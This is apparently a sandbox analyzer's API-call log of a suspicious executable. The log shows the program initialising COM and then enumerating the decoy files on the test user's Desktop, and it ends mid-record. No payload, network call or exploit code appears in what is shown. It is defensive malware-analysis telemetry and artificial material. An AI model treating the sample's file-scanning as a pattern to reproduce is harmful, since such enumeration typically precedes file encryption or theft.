# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: Jun 3 2020 09:10:47 # Log Creation Date: 13.11.2020 11:16:15.317 Process: id = "1" image_name = "fmqfor9qzmummeeo.exe" filename = "c:\\users\\fd1hvy\\desktop\\fmqfor9qzmummeeo.exe" page_root = "0x57eca000" os_pid = "0xe60" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x7e0" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\FMQfOR9qzmUMMeEO.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000116db" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xff4 [0048.055] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0048.058] RoInitialize () returned 0x1 [0048.058] RoUninitialize () returned 0x0 [0049.608] CoTaskMemAlloc (cb=0x20c) returned 0x99f210 [0049.608] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x99f210 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 0x0 [0049.612] CoTaskMemFree (pv=0x99f210) [0049.625] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x71de28 | out: phkResult=0x71de28*=0x0) returned 0x2 [0049.626] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0049.632] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x105, lpBuffer=0x71e8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x0) returned 0x17 [0049.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71eed0) returned 1 [0049.912] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x105, lpBuffer=0x71e970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x0) returned 0x17 [0049.917] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\*.*", lpFindFileData=0x71ebf0 | out: lpFindFileData=0x71ebf0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x77e8b299, ftLastAccessTime.dwHighDateTime=0x1d6b9ae, ftLastWriteTime.dwLowDateTime=0x77e8b299, ftLastWriteTime.dwHighDateTime=0x1d6b9ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b9e70 [0049.918] FindClose (in: hFindFile=0x9b9e70 | out: hFindFile=0x9b9e70) returned 1 [0049.920] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x77e8b299, ftLastAccessTime.dwHighDateTime=0x1d6b9ae, ftLastWriteTime.dwLowDateTime=0x77e8b299, ftLastWriteTime.dwHighDateTime=0x1d6b9ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b9990 [0049.921] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x77e8b299, ftLastAccessTime.dwHighDateTime=0x1d6b9ae, ftLastWriteTime.dwLowDateTime=0x77e8b299, ftLastWriteTime.dwHighDateTime=0x1d6b9ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.921] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab00a2f0, ftCreationTime.dwHighDateTime=0x1d62ef1, ftLastAccessTime.dwLowDateTime=0x45a00a30, ftLastAccessTime.dwHighDateTime=0x1d62bf0, ftLastWriteTime.dwLowDateTime=0x45a00a30, ftLastWriteTime.dwHighDateTime=0x1d62bf0, nFileSizeHigh=0x0, nFileSizeLow=0xbe1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="1tTyFc4.jpg", cAlternateFileName="")) returned 1 [0049.921] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f003f60, ftCreationTime.dwHighDateTime=0x1d630d1, ftLastAccessTime.dwLowDateTime=0xa1ee3cb0, ftLastAccessTime.dwHighDateTime=0x1d62ca1, ftLastWriteTime.dwLowDateTime=0xa1ee3cb0, ftLastWriteTime.dwHighDateTime=0x1d62ca1, nFileSizeHigh=0x0, nFileSizeLow=0x14f5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="2GrtZWa8bwafT.m4a", cAlternateFileName="2GRTZW~1.M4A")) returned 1 [0049.921] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38266650, ftCreationTime.dwHighDateTime=0x1d62e8f, ftLastAccessTime.dwLowDateTime=0x17b1180, ftLastAccessTime.dwHighDateTime=0x1d62d29, ftLastWriteTime.dwLowDateTime=0x17b1180, ftLastWriteTime.dwHighDateTime=0x1d62d29, nFileSizeHigh=0x0, nFileSizeLow=0x2b4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="3wZ7Mu_7Sii083bHia.mp4", cAlternateFileName="3WZ7MU~1.MP4")) returned 1 [0049.921] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x160fb1a0, ftCreationTime.dwHighDateTime=0x1d62d4c, ftLastAccessTime.dwLowDateTime=0xac033b80, ftLastAccessTime.dwHighDateTime=0x1d62551, ftLastWriteTime.dwLowDateTime=0xac033b80, ftLastWriteTime.dwHighDateTime=0x1d62551, nFileSizeHigh=0x0, nFileSizeLow=0xe4b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="5q0zODZ-LfMVxb3ilnOK.gif", cAlternateFileName="5Q0ZOD~1.GIF")) returned 1 [0049.921] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94728e0, ftCreationTime.dwHighDateTime=0x1d630e9, ftLastAccessTime.dwLowDateTime=0x30b60780, ftLastAccessTime.dwHighDateTime=0x1d625c1, ftLastWriteTime.dwLowDateTime=0x30b60780, ftLastWriteTime.dwHighDateTime=0x1d625c1, nFileSizeHigh=0x0, nFileSizeLow=0x50f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="7zeOs_9hXhC.xlsx", cAlternateFileName="7ZEOS_~1.XLS")) returned 1 [0049.922] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x323dd080, ftCreationTime.dwHighDateTime=0x1d62533, ftLastAccessTime.dwLowDateTime=0xbddb5cf0, ftLastAccessTime.dwHighDateTime=0x1d626e3, ftLastWriteTime.dwLowDateTime=0xbddb5cf0, ftLastWriteTime.dwHighDateTime=0x1d626e3, nFileSizeHigh=0x0, nFileSizeLow=0x3878, dwReserved0=0x0, dwReserved1=0x0, cFileName="A02Z nq-WGU.wav", cAlternateFileName="A02ZNQ~1.WAV")) returned 1 [0049.922] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43502860, ftCreationTime.dwHighDateTime=0x1d6291f, ftLastAccessTime.dwLowDateTime=0xd2314330, ftLastAccessTime.dwHighDateTime=0x1d62702, ftLastWriteTime.dwLowDateTime=0xd2314330, ftLastWriteTime.dwHighDateTime=0x1d62702, nFileSizeHigh=0x0, nFileSizeLow=0x9091, dwReserved0=0x0, dwReserved1=0x0, cFileName="bNR9FioQRzT.bmp", cAlternateFileName="BNR9FI~1.BMP")) returned 1 [0049.922] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6596aa70, ftCreationTime.dwHighDateTime=0x1d63117, ftLastAccessTime.dwLowDateTime=0x46f76670, ftLastAccessTime.dwHighDateTime=0x1d623e5, ftLastWriteTime.dwLowDateTime=0x46f76670, ftLastWriteTime.dwHighDateTime=0x1d623e5, nFileSizeHigh=0x0, nFileSizeLow=0x1363e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS9yaJ_C6P.wav", cAlternateFileName="BS9YAJ~1.WAV")) returned 1 [0049.922] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d4bd810, ftCreationTime.dwHighDateTime=0x1d62ae4, ftLastAccessTime.dwLowDateTime=0x5ba6a560, ftLastAccessTime.dwHighDateTime=0x1d628e8, ftLastWriteTime.dwLowDateTime=0x5ba6a560, ftLastWriteTime.dwHighDateTime=0x1d628e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="CJx-gO F.flv", cAlternateFileName="CJX-GO~1.FLV")) returned 1 [0049.922] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0049.922] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88fbd760, ftCreationTime.dwHighDateTime=0x1d62f55, ftLastAccessTime.dwLowDateTime=0x2e91c180, ftLastAccessTime.dwHighDateTime=0x1d6267d, ftLastWriteTime.dwLowDateTime=0x2e91c180, ftLastWriteTime.dwHighDateTime=0x1d6267d, nFileSizeHigh=0x0, nFileSizeLow=0x15c34, dwReserved0=0x0, dwReserved1=0x0, cFileName="DrYVi8B0NgFJ6uMAsmK.xlsx", cAlternateFileName="DRYVI8~1.XLS")) returned 1 [0049.922] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09d7e60, ftCreationTime.dwHighDateTime=0x1d6319e, ftLastAccessTime.dwLowDateTime=0xc048750, ftLastAccessTime.dwHighDateTime=0x1d628ea, ftLastWriteTime.dwLowDateTime=0xc048750, ftLastWriteTime.dwHighDateTime=0x1d628ea, nFileSizeHigh=0x0, nFileSizeLow=0x95de, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dtv3fQc75.mp4", cAlternateFileName="DTV3FQ~1.MP4")) returned 1 [0049.922] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3a194e0, ftCreationTime.dwHighDateTime=0x1d62c0c, ftLastAccessTime.dwLowDateTime=0xf0e28300, ftLastAccessTime.dwHighDateTime=0x1d62a38, ftLastWriteTime.dwLowDateTime=0xf0e28300, ftLastWriteTime.dwHighDateTime=0x1d62a38, nFileSizeHigh=0x0, nFileSizeLow=0x17542, dwReserved0=0x0, dwReserved1=0x0, cFileName="e5QSGhL0KO.gif", cAlternateFileName="E5QSGH~1.GIF")) returned 1 [0049.922] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f4139f0, ftCreationTime.dwHighDateTime=0x1d62a36, ftLastAccessTime.dwLowDateTime=0xe8ea5a40, ftLastAccessTime.dwHighDateTime=0x1d629f4, ftLastWriteTime.dwLowDateTime=0xe8ea5a40, ftLastWriteTime.dwHighDateTime=0x1d629f4, nFileSizeHigh=0x0, nFileSizeLow=0x90ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="f0xyfJINvD.mkv", cAlternateFileName="F0XYFJ~1.MKV")) returned 1 [0049.923] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47a2b5f0, ftCreationTime.dwHighDateTime=0x1d62a59, ftLastAccessTime.dwLowDateTime=0x738d5a30, ftLastAccessTime.dwHighDateTime=0x1d622ca, ftLastWriteTime.dwLowDateTime=0x738d5a30, ftLastWriteTime.dwHighDateTime=0x1d622ca, nFileSizeHigh=0x0, nFileSizeLow=0x10294, dwReserved0=0x0, dwReserved1=0x0, cFileName="F7Qr70lRsaF-XPy.jpg", cAlternateFileName="F7QR70~1.JPG")) returned 1 [0049.923] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x655c3c80, ftCreationTime.dwHighDateTime=0x1d6b9ae, ftLastAccessTime.dwLowDateTime=0x655c3c80, ftLastAccessTime.dwHighDateTime=0x1d6b9ae, ftLastWriteTime.dwLowDateTime=0xdc90d100, ftLastWriteTime.dwHighDateTime=0x1d6b9ac, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x0, dwReserved1=0x0, cFileName="FMQfOR9qzmUMMeEO.exe", cAlternateFileName="FMQFOR~1.EXE")) returned 1 [0049.923] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d68c800, ftCreationTime.dwHighDateTime=0x1d62674, ftLastAccessTime.dwLowDateTime=0x16f6d6f0, ftLastAccessTime.dwHighDateTime=0x1d63226, ftLastWriteTime.dwLowDateTime=0x16f6d6f0, ftLastWriteTime.dwHighDateTime=0x1d63226, nFileSizeHigh=0x0, nFileSizeLow=0x17345, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBPyK8AvQoRwdDsq.mp4", cAlternateFileName="GBPYK8~1.MP4")) returned 1 [0049.923] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29f15440, ftCreationTime.dwHighDateTime=0x1d62391, ftLastAccessTime.dwLowDateTime=0xa836c830, ftLastAccessTime.dwHighDateTime=0x1d62cba, ftLastWriteTime.dwLowDateTime=0xa836c830, ftLastWriteTime.dwHighDateTime=0x1d62cba, nFileSizeHigh=0x0, nFileSizeLow=0xaf17, dwReserved0=0x0, dwReserved1=0x0, cFileName="GNqhTWL5zVRSDdWd4-.wav", cAlternateFileName="GNQHTW~1.WAV")) returned 1 [0049.923] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36dc9cd0, ftCreationTime.dwHighDateTime=0x1d625be, ftLastAccessTime.dwLowDateTime=0x1c6d8eb0, ftLastAccessTime.dwHighDateTime=0x1d6302a, ftLastWriteTime.dwLowDateTime=0x1c6d8eb0, ftLastWriteTime.dwHighDateTime=0x1d6302a, nFileSizeHigh=0x0, nFileSizeLow=0x13f65, dwReserved0=0x0, dwReserved1=0x0, cFileName="iB2mk.m4a", cAlternateFileName="")) returned 1 [0049.923] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3f7c6e0, ftCreationTime.dwHighDateTime=0x1d623b0, ftLastAccessTime.dwLowDateTime=0x12a66920, ftLastAccessTime.dwHighDateTime=0x1d63024, ftLastWriteTime.dwLowDateTime=0x12a66920, ftLastWriteTime.dwHighDateTime=0x1d63024, nFileSizeHigh=0x0, nFileSizeLow=0x1295b, dwReserved0=0x0, dwReserved1=0x0, cFileName="IHXCeH4- 6qh6Uvan.docx", cAlternateFileName="IHXCEH~1.DOC")) returned 1 [0049.923] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e187ce0, ftCreationTime.dwHighDateTime=0x1d62524, ftLastAccessTime.dwLowDateTime=0xe400ec60, ftLastAccessTime.dwHighDateTime=0x1d62e77, ftLastWriteTime.dwLowDateTime=0xe400ec60, ftLastWriteTime.dwHighDateTime=0x1d62e77, nFileSizeHigh=0x0, nFileSizeLow=0xb1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="iyDlR.docx", cAlternateFileName="IYDLR~1.DOC")) returned 1 [0049.923] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e31d380, ftCreationTime.dwHighDateTime=0x1d627a3, ftLastAccessTime.dwLowDateTime=0x51fe7ca0, ftLastAccessTime.dwHighDateTime=0x1d624c8, ftLastWriteTime.dwLowDateTime=0x51fe7ca0, ftLastWriteTime.dwHighDateTime=0x1d624c8, nFileSizeHigh=0x0, nFileSizeLow=0x556f, dwReserved0=0x0, dwReserved1=0x0, cFileName="JnUXTq9KCu cQQ1O8h.jpg", cAlternateFileName="JNUXTQ~1.JPG")) returned 1 [0049.923] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e08fd40, ftCreationTime.dwHighDateTime=0x1d62b22, ftLastAccessTime.dwLowDateTime=0x4c01e670, ftLastAccessTime.dwHighDateTime=0x1d63161, ftLastWriteTime.dwLowDateTime=0x4c01e670, ftLastWriteTime.dwHighDateTime=0x1d63161, nFileSizeHigh=0x0, nFileSizeLow=0xc067, dwReserved0=0x0, dwReserved1=0x0, cFileName="KJkjIAjuQSKeZ-kZiP.avi", cAlternateFileName="KJKJIA~1.AVI")) returned 1 [0049.923] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4c24c90, ftCreationTime.dwHighDateTime=0x1d62456, ftLastAccessTime.dwLowDateTime=0xf41b4580, ftLastAccessTime.dwHighDateTime=0x1d628e8, ftLastWriteTime.dwLowDateTime=0xf41b4580, ftLastWriteTime.dwHighDateTime=0x1d628e8, nFileSizeHigh=0x0, nFileSizeLow=0x18bda, dwReserved0=0x0, dwReserved1=0x0, cFileName="nN1UvL.odt", cAlternateFileName="")) returned 1 [0049.924] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2103d70, ftCreationTime.dwHighDateTime=0x1d62d0c, ftLastAccessTime.dwLowDateTime=0xeef315b0, ftLastAccessTime.dwHighDateTime=0x1d62730, ftLastWriteTime.dwLowDateTime=0xeef315b0, ftLastWriteTime.dwHighDateTime=0x1d62730, nFileSizeHigh=0x0, nFileSizeLow=0x5313, dwReserved0=0x0, dwReserved1=0x0, cFileName="Q5qz.wav", cAlternateFileName="")) returned 1 [0049.924] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4663e3a0, ftCreationTime.dwHighDateTime=0x1d62ce6, ftLastAccessTime.dwLowDateTime=0x708fe370, ftLastAccessTime.dwHighDateTime=0x1d62e14, ftLastWriteTime.dwLowDateTime=0x708fe370, ftLastWriteTime.dwHighDateTime=0x1d62e14, nFileSizeHigh=0x0, nFileSizeLow=0xdfbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rrntvx.odp", cAlternateFileName="")) returned 1 [0049.924] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x810f4870, ftCreationTime.dwHighDateTime=0x1d6247e, ftLastAccessTime.dwLowDateTime=0x581c5a30, ftLastAccessTime.dwHighDateTime=0x1d6310c, ftLastWriteTime.dwLowDateTime=0x581c5a30, ftLastWriteTime.dwHighDateTime=0x1d6310c, nFileSizeHigh=0x0, nFileSizeLow=0x9f85, dwReserved0=0x0, dwReserved1=0x0, cFileName="s2HceE.swf", cAlternateFileName="")) returned 1 [0049.924] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d08cb80, ftCreationTime.dwHighDateTime=0x1d6324c, ftLastAccessTime.dwLowDateTime=0x7a9cbcd0, ftLastAccessTime.dwHighDateTime=0x1d628f1, ftLastWriteTime.dwLowDateTime=0x7a9cbcd0, ftLastWriteTime.dwHighDateTime=0x1d628f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TE_1NVah4", cAlternateFileName="TE_1NV~1")) returned 1 [0049.924] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x990e2e80, ftCreationTime.dwHighDateTime=0x1d62c69, ftLastAccessTime.dwLowDateTime=0xf72c7990, ftLastAccessTime.dwHighDateTime=0x1d623b8, ftLastWriteTime.dwLowDateTime=0xf72c7990, ftLastWriteTime.dwHighDateTime=0x1d623b8, nFileSizeHigh=0x0, nFileSizeLow=0xb6cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wdg9ibnIO5.mp3", cAlternateFileName="WDG9IB~1.MP3")) returned 1 [0049.924] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de15670, ftCreationTime.dwHighDateTime=0x1d62ce2, ftLastAccessTime.dwLowDateTime=0x2ee27b40, ftLastAccessTime.dwHighDateTime=0x1d62a3b, ftLastWriteTime.dwLowDateTime=0x2ee27b40, ftLastWriteTime.dwHighDateTime=0x1d62a3b, nFileSizeHigh=0x0, nFileSizeLow=0x2e22, dwReserved0=0x0, dwReserved1=0x0, cFileName="wRQQ37a2M.avi", cAlternateFileName="WRQQ37~1.AVI")) returned 1 [0049.924] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e445b20, ftCreationTime.dwHighDateTime=0x1d625fd, ftLastAccessTime.dwLowDateTime=0xddaf9100, ftLastAccessTime.dwHighDateTime=0x1d629ad, ftLastWriteTime.dwLowDateTime=0xddaf9100, ftLastWriteTime.dwHighDateTime=0x1d629ad, nFileSizeHigh=0x0, nFileSizeLow=0xc6da, dwReserved0=0x0, dwReserved1=0x0, cFileName="WYwOKpwsUPH-.m4a", cAlternateFileName="WYWOKP~1.M4A")) returned 1 [0049.924] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eacff10, ftCreationTime.dwHighDateTime=0x1d62fae, ftLastAccessTime.dwLowDateTime=0x888532d0, ftLastAccessTime.dwHighDateTime=0x1d62678, ftLastWriteTime.dwLowDateTime=0x888532d0, ftLastWriteTime.dwHighDateTime=0x1d62678, nFileSizeHigh=0x0, nFileSizeLow=0x1791, dwReserved0=0x0, dwReserved1=0x0, cFileName="xnjlX4qTThmIA.png", cAlternateFileName="XNJLX4~1.PNG")) returned 1 [0049.924] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3345570, ftCreationTime.dwHighDateTime=0x1d62ff6, ftLastAccessTime.dwLowDateTime=0x81a6e970, ftLastAccessTime.dwHighDateTime=0x1d63043, ftLastWriteTime.dwLowDateTime=0x81a6e970, ftLastWriteTime.dwHighDateTime=0x1d63043, nFileSizeHigh=0x0, nFileSizeLow=0x15682, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAWe8TJU.doc", cAlternateFileName="")) returned 1 [0049.925] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12aa1480, ftCreationTime.dwHighDateTime=0x1d62561, ftLastAccessTime.dwLowDateTime=0xf97b33c0, ftLastAccessTime.dwHighDateTime=0x1d62c38, ftLastWriteTime.dwLowDateTime=0xf97b33c0, ftLastWriteTime.dwHighDateTime=0x1d62c38, nFileSizeHigh=0x0, nFileSizeLow=0x6158, dwReserved0=0x0, dwReserved1=0x0, cFileName="_i-6kqrNHCc1Gp.xls", cAlternateFileName="_I-6KQ~1.XLS")) returned 1 [0049.925] FindNextFileW (in: hFindFile=0x9b9990, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12aa1480, ftCreationTime.dwHighDateTime=0x1d62561, ftLastAccessTime.dwLowDateTime=0xf97b33c0, ftLastAccessTime.dwHighDateTime=0x1d62c38, ftLastWriteTime.dwLowDateTime=0xf97b33c0, ftLastWriteTime.dwHighDateTime=0x1d62c38, nFileSizeHigh=0x0, nFileSizeLow=0x6158, dwReserved0=0x0, dwReserved1=0x0, cFileName="_i-6kqrNHCc1Gp.xls", cAlternateFileName="_I-6KQ~1.XLS")) returned 0 [0049.925] FindClose (in: hFindFile=0x9b9990 | out: hFindFile=0x9b9990) returned 1 [0049.925] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x77e8b299, ftLastAccessTime.dwHighDateTime=0x1d6b9ae, ftLastWriteTime.dwLowDateTime=0x77e8b299, ftLastWriteTime.dwHighDateTime=0x1d6b9ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b9c90 [0049.925] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x77e8b299, ftLastAccessTime.dwHighDateTime=0x1d6b9ae, ftLastWriteTime.dwLowDateTime=0x77e8b299, ftLastWriteTime.dwHighDateTime=0x1d6b9ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.925] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab00a2f0, ftCreationTime.dwHighDateTime=0x1d62ef1, ftLastAccessTime.dwLowDateTime=0x45a00a30, ftLastAccessTime.dwHighDateTime=0x1d62bf0, ftLastWriteTime.dwLowDateTime=0x45a00a30, ftLastWriteTime.dwHighDateTime=0x1d62bf0, nFileSizeHigh=0x0, nFileSizeLow=0xbe1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="1tTyFc4.jpg", cAlternateFileName="")) 